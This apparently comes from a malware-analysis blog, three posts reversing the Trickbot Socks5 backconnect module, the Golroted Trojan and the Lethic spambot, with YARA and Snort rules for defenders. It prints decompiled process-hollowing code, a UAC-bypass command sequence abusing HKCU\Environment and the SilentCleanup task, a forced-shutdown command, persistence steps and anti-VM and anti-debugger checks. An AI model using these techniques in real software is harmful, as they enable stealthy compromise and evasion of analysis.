Let’s Learn: Trickbot Socks5 Backconnect Module In Detail

GoalReverse the Trickbot Socks5 backconnect module including its communication protocol and source code-level insights.

SourceDecoded Trickbot Socks5 backconnect module
(33ad13c11e87405e277f002e3c4d26d120fcad0ce03b7f1d4831ec0ee0c056c6)
Background:
  • The Trickbot banking Trojan is notable for its backconnect Socks5 module titled “bcClientDllTest.” This module is used extensively by the gang for online account takeover fraud. This module was obtained while analysing the Trickbot infection chain from the email campaign impersonating PayPal (thanks to @Ring0x0).

https://platform.twitter.com/widgets.jsThe decoded Trickbot Socks5 DLL module contains the following export functions:

Name Address Ordinal
Control 0x100118B8 1
FreeBuffer 0x100027DE 2
Release 0x100118C3 3
Start 0x100118E4 4

In this blog, we are primarily interested in analyzing the “Start” export function (ordinal #4).

The blog outline is as follows:
I. “Start” configuration template
II. Module CreateThread function
III. Bot ID generator function
IV. Dynamic API-loading function
V. IP resolution function
VI. Network communication commands
VI. Communication analysis
VII. Yara rule
VIII. Snort signature
I. “Start” Configuration Template
First, the backconnect module “Start” export loads the default configuration template as follows:
yes
II. Module CreateThread Function

Next, the module creates a new thread via CreateThread API with (LPTHREAD_START_ROUTINE)StartAddress copping the configuration template into the dword_10034904 memory location via strstr API containing the sequence of characters to match “.”. The pseudocoded Start function is as follows:
void *__stdcall Start(int a1, int a2, int a3, int a4, char *a5, int a6, int a7, int a8)
{
  unsigned int v8′
  unsigned int v9; 
  char v10;
  void *result;

  v8 = 0;
  v9 = strlen(aModuleconfigAu);
  if ( v9 )
  {
    do
    {
      v10 = aModuleconfigAu[v8++];
      byte_100349A4 = v10;
    }
    while ( v8 < v9 );
  }
  result = 0;
  if ( !dword_10034900 )
  {
    memset(byte_10034908, 0, 0x20u);
    byte_10034908[32] = 0;s
    qmemcpy(byte_10034908, strstr(a5, “.”) + 1, 0x20u);
    dword_10034900 = 1;
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
    result = malloc(0x400u);
    dword_10034904 = (int)result;
  }
  return result;
}
III. Bot ID generator function
One of the first notable functions is that the module creates a bot identifier (ID) leveraging a security identifier (SID) for the account and the name of the domain with the sequence of GetVolumeInformationA, GetUserNameA,and LookupAccountNameA, wherein the bot id (also referred later as “client_id”) is a serial number of the hard drive that stores the C section. The value is created using XOR operation on SID.

The simplified C++ DWORD function is as follows:
DWORD bot_id_generator()
{
  CHAR VolumeNameBuffer; 
  CHAR FileSystemNameBuffer; 
  DWORD FileSystemFlags;
  enum _SID_NAME_USE peUse; 
  DWORD MaximumComponentLength; 
  DWORD cbSid;
  DWORD pcbBuffer;
  DWORD cchReferencedDomainName; 
  LPSTR ReferencedDomainName;
  DWORD VolumeSerialNumber; 
  LPSTR lpBuffer; 
  PSID Sid;
  int i; 

GetVolumeInformationA(
    “C:\\“,
    &VolumeNameBuffer,
    0x80u,
    &VolumeSerialNumber,
    &MaximumComponentLength,
    &FileSystemFlags,
    &FileSystemNameBuffer,
    0x80u);
  lpBuffer = (LPSTR)malloc(0x1000u);
  pcbBuffer = 4096;
  Sid = malloc(0x1000u);
  cbSid = 4096;
  ReferencedDomainName = (LPSTR)malloc(0x1000u);
  cchReferencedDomainName = 4096;
  GetUserNameA(lpBuffer, &pcbBuffer);
  memset(Sid, 0, 0x1000u);
  LookupAccountNameA(0, lpBuffer, Sid, &cbSid, ReferencedDomainName, &cchReferencedDomainName, &peUse);
  for ( i = 0; i <= 16; ++i )
    VolumeSerialNumber ^= *((_DWORD *)Sid + i);
  free(lpBuffer);
  free(Sid);
  free(ReferencedDomainName);
  return VolumeSerialNumber;
}
IV. Dynamic API-Loading Function
The module proceeds to load dynamically the following Windows API via usual sequence LoadLibrary/GetModuleHandleA/GetProcAddress:
  v1 = GetModuleHandleA(“kernel32.dll”);
  v58 = GetProcAddress(v1, “HeapAlloc”);
  v2 = GetModuleHandleA(“kernel32.dll”);
  v57 = GetProcAddress(v2, “HeapFree”);
  v3 = GetModuleHandleA(“kernel32.dll”);
  v236 = GetProcAddress(v3, “GetProcessHeap”);
  v4 = GetModuleHandleA(“ntdll.dll”);
  v56 = GetProcAddress(v4, “sprintf”);
  v5 = GetModuleHandleA(“ntdll.dll”);
  v29 = GetProcAddress(v5, “strcat”);
  v6 = GetModuleHandleA(“wininet.dll”);
  v39 = GetProcAddress(v6, “InternetOpenA”);
  v7 = GetModuleHandleA(“wininet.dll”);
  v43 = GetProcAddress(v7, “InternetOpenUrlA”);
  v8 = GetModuleHandleA(“wininet.dll”);
  v55 = GetProcAddress(v8, “InternetReadFile”);
  v9 = GetModuleHandleA(“wininet.dll”);
  v61 = GetProcAddress(v9, “InternetCloseHandle”);
The module then checks if the operation succeeded comparing the predefined location at DWORD at 0x10034900 of “0”.
V. IP Resolution Function
The malware copies its default user agent into the placeholder ‘Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US),” which is later utilized for network communications. The malware leverages the user agent with the resolved hardcoded default IPs, which are oftentimes changed by the Trickbot. The resolution is accomplished with the following API calls:
inet_addr
DnsQuery_A
inet_ntoa
The BOOL-type function is as follows:
BOOL __cdecl Trick_backconnect_IP_resolution(int a1, _BYTE *a2)
{
  char *cp;
  const char *v4;
  const char *v5;
  const char *v6;
  const char *v7;
  const char *v8;
  const char *v9;
  const char *v10;
  const char *v11;
  const char *v12;
  _BYTE *v13;
  int v14;
  struct in_addr in;
  int v16;
  char *v17;
  int v18;
  int v19;
  _BYTE *v20;
  int i;
  HLOCAL hMem;
  char v23;
  char v24;
  *a2 = 0;
  v19 = 0;
  v18 = 0;
  cp = “69.164.196[.]21”;
  v4 = “107.150.40[.]234”;
  v5 = “162.211.64[.]20”;
  v6 = “217.12.210[.]54”;
  v7 = “89.18.27[.]34”;
  v8 = “193.183.98[.]154”;
  v9 = “51.255.167[.]0”;
  v10 = “91.121.155[.]13”;
  v11 = “87.98.175[.]85”;
  v12 = “185.97.7[.]7”;
  v16 = 10;
  hMem = LocalAlloc(0x40u, 8u);
  v24 = 0;
  for ( i = 0; i < v16; ++i )
  {
    *((_DWORD *)hMem + 1) = inet_addr((&cp)[4 * i]);
    *(_DWORD *)hMem = 1;
    v14 = DnsQuery_A(a1, 1, 2, hMem, &v19, 0);
    v18 = v19;
    if ( v19 )
    {
      in = *(struct in_addr *)(v18 + 24);
      v17 = inet_ntoa(in);
      v20 = a2;
      v13 = a2;
      do
      {
        v23 = *v17;
        *v20 = v23;
        ++v17;
        ++v20;
      }
      while ( v23 );
      v24 = 1;
    }
    if ( v24 )
      break;
  }
  if ( hMem )
    LocalFree(hMem);
  if ( v19 )
    DnsFree(v19, 1);
  return v24 != 0;
}
VI. Communication Protocol
The following commands are used for client-server communications initially with the command prefix “c”:
disconnect: Terminate the backconnect server connection
idle: Maintain the client-server connection
connect: connect to the backconnect server. The command must consist of the following parameters:
      ip: Backconnect server’s IP address
      auth_swith: Use authorization flag. If the value is set to “1”, the Trojan receives the auth_login and auth_pass parameters. If the value is “0”, the Trojan gets the auth_ip parameter. Otherwise, the connection will not be established.
auth_ip: Authentication IP address
auth_login: Authentication login
auth_pass: Authentication password
VI. Deeper Dive into Client-Server Protocol
By and large, there are three main Trickbot Socks5 server-client commands:
c=idle
c=disconnect
c=connect
The Trickbot client forms a sequence of GET requests to the server (usually, on gate[.]php):
client_id=&connected=&server_port=&debug= 
The server POST response with the following parameters if the connection needs to be established:
 c=connect&ip=&auth_swith=&auth_ip=&auth_login=&auth_pass=
If the connection needs to be terminated, the server will respond with “c=disconnect.” Most of the currently observed Trickbot Socks5 backconnect servers contain Blockchain name server resolution.

VII. YARA RULE

rule crime_win32_trick_socks5_backconnect {

        meta:
                description = “Trickbot Socks5 bckconnect module”
                author = “@VK_Intel”
                reference = “Detects the unpacked Trickbot backconnect in memory”
                date = “2017-11-19”
                hash = “f2428d5ff8c93500da92f90154eebdf0”
        strings:
                $s0 = “socks5dll.dll” fullword ascii
                $s1 = “auth_login” fullword ascii
                $s2 = “auth_ip” fullword ascii
`               $s3 = “connect” fullword ascii
                $s4 = “auth_ip” fullword ascii
                $s5 = “auth_pass” fullword ascii
                $s6 = “thread.entry_event” fullword ascii
                $s7 = “thread.exit_event” fullword ascii
                $s8 = “” fullword ascii
                $s9 = “” fullword ascii
                $s10 = “yes” fullword ascii
        condition:
                uint16(0) == 0x5a4d and filesize < 300KB and 7 of them
}

VIII. SNORT RULE

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Possible Trickbot Socks5 Backconnect check-in alert”; flow:established,to_server; content:”gate.php”; http_uri; content:”?client_id=”; http_uri; content:”&connected=”; http_uri; content:”&server_port=”; http_uri; content:”&debug=”; http_uri; reference:url,http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html; classtype:Trojan-activity; rev:1;)

Let’s Learn: Dissecting Golroted Trojan’s Process Hollowing Technique & UAC Bypass in HKCU\Environment

Goal: Reverse the Golroted Trojan with the focus on its native API process hollowing technique and User Account (UAC) bypass method exploiting Environment variables in Scheduled Tasks.

Source:
Golroted Trojan sample 
(e73b20f639cd9ecc4c8196e885de57043a4baddb70bb4b66e1df13abc7da487e)

Background
By and large, the Golroted Trojan is notable due to its native call (Nt* API-based) process hollowing technique, its user account (UAC) bypass method, and anti-virus checks. It appears to be a relatively popular Trojan, masked as a  “.scr” file, distributed lately as part of the spam impersonating IRS (thanks to @pollo290987).
The following functions of interest will be analyzed:

  • Process hollowing
  • UAC bypass
  • Anti-virus checks
  • Persistence mechanism
  • and others
  • Yara signature

I. Process hollowing
The malware starts a process suspended with CreateProcessA(0x4 CREATE_SUSPENDED process creation flag). Ultimately, the malware replaces its content with the content of another. The malware allocates memory for the process replacement via NtAllocateVirtualMemory. Golroted obtains the thread context of the child process’ primary thread via NtGetContextThread, then retrieves the PEB address from the ebx register and reads the base address of the executable image from the PEB via NtUnmapViewOfSection. Then, the malware writes the base address of the injected image into the PEB via NtWriteVirtualMemory and sets the thread context of the child process’ primary thread via NtSetContextThread, which is finally resumed the primary thread via NtResumeThread.

The following native API calls the Golroted malware leverages for process hollowing:

  • NtGetContextThread
  • NtReadVirtualMemory
  • NtUnmapViewOfSection
  • NtSetContextThread
  • NtProtectVirtualMemory
  • NtWriteVirtualMemory
  • NtFlushInstructionCache
  • NtAllocateVirtualMemory
  • NtResumeThread

The shortened and simplified process hollowing technique is as follows:

if(CreateProcessA(NULL,DESIRED_PROCESS,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
{
NtGetContextThread(pi.hThread,&ctx);
NtReadVirtualMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&base,sizeof(PVOID),NULL);

  if((DWORD)base==pINH->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess,base);
}

  mem=VirtualAllocEx(pi.hProcess,(PVOID)pINH->OptionalHeader.ImageBase,pINH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

  NtWriteVirtualMemory(pi.hProcess,mem,image,pINH->OptionalHeader.SizeOfHeaders,NULL);

  for(i=0;iFileHeader.NumberOfSections;i++)
{
pISH=(PIMAGE_SECTION_HEADER)((LPBYTE)image+pIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+(i*sizeof(IMAGE_SECTION_HEADER)));
NtWriteVirtualMemory(pi.hProcess,(PVOID)((LPBYTE)mem+pISH->VirtualAddress),(PVOID)((LPBYTE)image+pISH->PointerToRawData),pISH->SizeOfRawData,NULL);
}

  ctx.Eax=(DWORD)((LPBYTE)mem+pINH->OptionalHeader.AddressOfEntryPoint);

  NtWriteVirtualMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&pINH->OptionalHeader.ImageBase,sizeof(PVOID),NULL);
NtSetContextThread(pi.hThread,&ctx);

  NtResumeThread(pi.hThread,NULL);

  NtClose(pi.hThread);
NtClose(pi.hProcess);
}

A. “Self injection”
The malware retrieves the path to itself via GetModuleFilenameA call and passes itself as an argument to the process hollowing function.

B. “Default Browser”
Golroted obtains the following browser locations in C:\\Program Files (x86)\\ or %PROGRAMFILES% and passes the output as an argument to the process hollowing function:

  • Mozilla Firefox\\firefox.exe
  • \Google\Chrome\Application\chrome.exe
  • Internet Explorer\\iexplore.exe


The code blob is as follows:

int __usercall ff_chrome_ie_func@(volatile signed __int32 *a1@, int a2@)
{
  volatile signed __int32 *v2;
  int v3;
  int v4;
  int v5; 
  unsigned int v7;
__writefsdword(0, (unsigned int)&v7);
  pfiles_path_search_func((int *)&v13, 0);
  func11((int *)&v16, v13, (signed __int32)”Mozilla Firefox\\firefox.exe”);
  pfiles_path_search_func((int *)&v12, v3);
  func11((int *)&v15, v12, (signed __int32)”\\Google\\Chrome\\Application\\chrome.exe”);
  pfiles_path_search_func((int *)&v11, v4);
  func11((int *)&v14, v11, (signed __int32)”Internet Explorer\\iexplore.exe”);


C. “Notepad”
The malware retrieves the path to notepad.exe in  C:\Windows\SysWOW64\ and C:\Windows\system32\  passes itself as an argument to the process hollowing function.

II. UAC bypass
Golroted checks if the victim host has administrator privileges via IsUserAnAdmin API call. Then, if not admin, the malware executes the so-called “fileless” UAC bypass method that exploits Environment variables in Scheduled Tasks. This method is almost identical to the UAC bypass tweeted out in May 2017 by James Forshaw (@tiraniddo).

The UAC code function is as follows:

uac_bypass(
      v10,
      3,
      ”          \” /f && exit”,
      v37,
      “/c reg add hkcu\\Environment /v windir /d \”cmd /c start “,
      v20,
      v21,
      v22);
    create_process_fuc(“C:\\Windows\\System32\\cmd.exe”, v32);
    Sleep(2000);
    create_process_fuc(
      “C:\\Windows\\System32\\cmd.exe”,
      “/c schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I && exit”);
    Sleep(1000);
    create_process_fuc(“C:\\Windows\\System32\\cmd.exe”, “/c reg delete hkcu\\Environment /v windir /f && exit”);
    kernel32_wow64_func(0);
    ExitProcess_0(0);


III. Anti-virus checks
A. Bitdefender
Golroted checks for the following Bitdefender location:

  • C:\Program Files\Bitdefender


B. Kaspersky Anti-Virus
The malware checks for the following Kaspersky AV locations and processes:

  • Kaspersky Lab\Kaspersky Anti-Virus 
  • .0.0\avpui.exe
  • C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 
  • Kaspersky Lab\Kaspersky Internet Security 
  • C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security
  • If the malware finds Kaspersky AV, it shuts down the machine


The C++ code is as follows:

  if ( v4 )
  {
    yourself_func2(0, &v47);
    func30(v47, (int *)&v48);
    v5 = v48;
    func30(v50, (int *)&v46);
    if ( !func16(v46, v5) && v50 )
      ShellExecuteA(0, “open”, “cmd.exe”, “/C shutdown -f -r -t 0”, &dword_417AB4, 0);
    func2((int)”PROGRAMFILES”, (int *)&v45);
    func11(&v49, v45, (signed __int32)”Kaspersky Lab\\Kaspersky Anti-Virus “);
    v7 = 13;
    do
    {
      v8 = v49;
      func31(v6, &v44, v7);
      func23(v9, 3, “.0.0\\avpui.exe”, v44, v8, v31, v32, v33);
      if ( (unsigned __int8)findfile_local(v31, v32, v33, v34) )
      {
        v10 = v49;
        func31(v6, &v43, v7);
        func23(v11, 3, “.0.0\\avpui.exe”, v43, v10, v31, v32, v33);
        goto LABEL_22;
      }
      ++v7;
    }
    while ( v7 != 27 );


IV. Persistence mechanism

Golroted creates persistence as .lnk in “[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\\Startup\.”

The code blob is C++ is as follows:

     temp_func(&v92, v19);
      func4(v20, v92);
      v69 = v93;
      func4(v21, v103);
      v68 = v91;
      func_string(v22, 3, L”.lnk”);
      v23 = (const char *)func5(v68);
      Mycomput_dll_func(*a6, v23, a12, a4, (unsigned int)v12);
      temp_func(&v89, v24);
      v25 = v103;
      GetUserName_func(&v88, v26);
      func23(
        v27,
        8,
        “.lnk\””,
        v103,
        “\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\”,
        v88,
        “.lnk\” \”C:\\Users\\”,
        v25);
      v28 = func19(v90);
      ShellExecuteA(0, “open”, “cmd.exe”, v28, v68, v69);


V. Delete Zone.Identifier flag using DeleteFile function

The malware deletes the zone identifier flag via DeleteFileA API to avoid being flagged by Explorer and prevent possible alert boxes when launching the executable.

VI. Miscellaneous
Golroted also has various debug information that was presumably used for internal testing including “Notepad” process hollowing and the following presumably placeholders:

  • binderfolderxD
  • bindermode
  • binderextension
  • randomfolderxD

The observed mutex was as follows “UfeRKBdMoE”

Yara Signature

rule crime_win32_golrote_trojan {
        meta:
                description = “Golroted Trojan rule – file golroted.exe”
                author = “@VK_Intel”
                reference = “Detects Golroted Trojan”
                date = “2017-11-11”
                hash = “e73b20f639cd9ecc4c8196e885de57043a4baddb70bb4b66e1df13abc7da487e”

        strings:
                $s0 = “C:\\Windows\\System32\\Mycomput.dll” fullword ascii
                $s1 = “.lnk\” \”C:\\Users\\” fullword ascii
                $s2 = “vbc.exe” fullword ascii 
                $s3 = “System32\\WerFault.exe” fullword ascii
                $s4 = “system32\\notepad.exe” fullword ascii
                $s5 = “Mozilla Firefox\\firefox.exe” fullword ascii
                $s6 = “FC:\\Windows\\System32\\” fullword ascii
               $s7 = “C:\\Windows\\SysWOW64\\ntdll.dll” fullword ascii
                $s9 = “Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe” fullword ascii
                $s10 = “Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe” fullword ascii
                $s11 = “/c reg add hkcu\\Environment /v windir /d \”cmd /c start ” fullword ascii
                $s12 = “bindedfiledropandexecute” fullword ascii
                $s13 = “/c schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I && exit” fullword ascii
                $s14 = “Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe” fullword ascii
                $s15 = “Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe” fullword ascii
                $s16 = “C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Internet Security ” fullword ascii
                $s17 = “\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\” fullword ascii
        condition:
                uint16(0) == 0x5a4d and filesize < 500KB and all of them
}

https://platform.twitter.com/widgets.js

Let’s Learn: Lethic Spambot & Survey of Anti-Analysis Techniques

Goal: Reverse the latest Lethic spambot, shared by Brad from Malware Traffic Analysis with the focus on its plethora of various anti-analysis and anti-virtual machine checks.

Source:

Background
While analyzing the Lethic spambot (thanks to @malware_traffic), unpacked and reviewed some of the bot internals. By and large, the spambot leverages process injection into explorer.exe through usual WriteProcessMemory and CreateRemoteThread. This Lethic hardcoded call back IP is 93[.]190[.]139[.]16. Another unique feature of this Trojan is persistency in C:\RECYCLER\* as “backwindow32.exe” and usual registry RUN keys.
Malware checks:
I. Wine check
II. Anti-analysis process check
III. Anti-analysis DLL check
IV. UserName check
V. Path string check
VI. Virtual Machine (VM) process check
VII. VM registry and VM CreateFile check
VIII. Anti-sleep bypass check
IX. Anti-debugger check

I. Wine check
The Lethic spambot checks for the presence of Wine on the victim machine as follows checking the ntdll and kernel32 DLL’s for the following functions via GetProcAddress API:
  • wine_get_version
  • wine_get_unix_file_name
A.     wine_get_version
The pseudo-coded C++ function is as follows:

signed int anti_wine_get_version()
{
  HMODULE hModule;
  signed int v2;

  v2 = 0;
  hModule = GetModuleHandleA(“ntdll.dll”);
  if ( hModule && GetProcAddress(hModule, “wine_get_version”) )
    v2 = 1;
  return v2;
}
B.     wine_get_unix_file_name
The pseudo-coded C++ function is as follows:
 signed int wine_get_unix_file_name()
{
  HMODULE hModule;
  signed int v2;

  v2 = 0;
  hModule = GetModuleHandleA(“kernel32.dll”);
  if ( hModule && GetProcAddress(hModule, “wine_get_unix_file_name”) )
    v2 = 1;
  return v2;
} 
II. Anti-analysis process check
The Trojan checks for the following processes and suspends threads if they exist on the host:

regmon.exe
filemon.exe
procdump.exe
procexp.exe
wireshark.exe
prcview.exe
sysinspector.exe
sniff_hit.exe
proc_watch.exe
apimonitor.exe
tcpview.exe
petools.exe
vmtoolsd.exe
autoruns.exe
 The suspend thread function is as follows:
HANDLE __cdecl suspend_thread_function (int a1)
{
  HANDLE result;
  HANDLE hThread;
  THREADENTRY32 te;
  HANDLE hSnapshot;

  te.dwSize = 0;
  te.cntUsage = 0;
  te.th32ThreadID = 0;
  te.th32OwnerProcessID = 0;
  te.tpBasePri = 0;
  te.tpDeltaPri = 0;
  te.dwFlags = 0;
  result = CreateToolhelp32Snapshot(4u, 0);
  hSnapshot = result;
  if ( result != (HANDLE)-1 )
  {
    te.dwSize = 28;
    if ( Thread32First(hSnapshot, &te) )
    {
      do
      {
        if ( te.th32OwnerProcessID == a1 )
        {
          hThread = OpenThread(2u, 0, te.th32ThreadID);
          SuspendThread(hThread);
          CloseHandle(hThread);
        }
      }
      while ( Thread32Next(hSnapshot, &te) );
    }
    result = (HANDLE)CloseHandle(hSnapshot);
  }
  return result;
}
III. Anti-analysis DLL check
The malware checks for the presence of loaded DLL’s.
The list of all checked DLL is as follows:
api_log.dll
log_api32.dll
dir_watch.dll
pstorec.dll
vmcheck.dll
wpespy.dll
snxhk.dll
IV. UserName check
The malware checks for specific host usernames via retrieving them with GetUserName API and converting them to upper case.
The list of the checked usernames is as follows:
MALTEST
TEQUILABOOMBOOM
SANDBOX
VIRUS
MALWARE
V. Path string check
The malware checks for specific path strings aliases via retrieving them with GetModuleFileName API and converting them to upper case.
The list of the checked path strings is as follows:
SAMPLE
MALWARE
SANDBOX
VIRUS
The malware also checks if it is named “sample.”


VI. Virtual Machine (VM) process check
Lethic checks for the presence of the VM-related processes.
The full list of all checked processes is as follows:
vmusrvc.exe
vmsrvc.exe
xsvc_depriv.exe
xenservice.exe
VII. VM registry keys check
The malware checks for the registry artefacts associated with VM.
The following registry locations and values are checked:
A. HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
  • VMWARE
  • QEMU
B. HKLM\HARDWARE\Description\System\SystemBiosVersion
  • VBOX
  • QEMU
C. HKLM\HARDWARE\Description\System\VideoBiosVersion
  • VIRTUALBOX
  • BOCHS


D. HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
E. The malware tries to create a file “\\\\.\\VBoxGuest” and checks if it exists.
The C++ pseudocode is as follows:
signed int vm_createfile_check()
{
  signed int v1;
  HANDLE hObject;

  v1 = 0;
  hObject = CreateFileW(L”\\\\.\\VBoxGuest”, 1u, 1u, 0, 4u, 0, 0);
  if ( hObject != (HANDLE)-1 )
  {
    CloseHandle(hObject);
    v1 = 1;
  }
  return v1;
}
VIII. Anti-sleep bypass check
The malware implements Sleep API patch/hook check preventing the analyst from patching/hooking Sleep to a return.
The routine is as follows:

signed int anti_sleep_hook_check()
{
  DWORD v0;
  signed int v2;

  v2 = 1;
  v0 = GetTickCount();
  Sleep(500);
  if ( GetTickCount() – v0 <= 440 )
    Sleep(0);
  else
    v2 = 0;
  return v2;
}
IX. Anti-debugger check
The malware calls IsDebuggerPresent and CheckRemoteDebuggerPresent APIs to check for the debugger presence.
The function in C++ is as follows:
int anti_debugger_check()
{
  BOOL pbDebuggerPresent;
  int v2;

  pbDebuggerPresent = 0;
  v2 = 0;
  if ( IsDebuggerPresent() || CheckRemoteDebuggerPresent((HANDLE)0xFFFFFFFF, &pbDebuggerPresent) && pbDebuggerPresent )
    v2 = 1;
  return v2;
}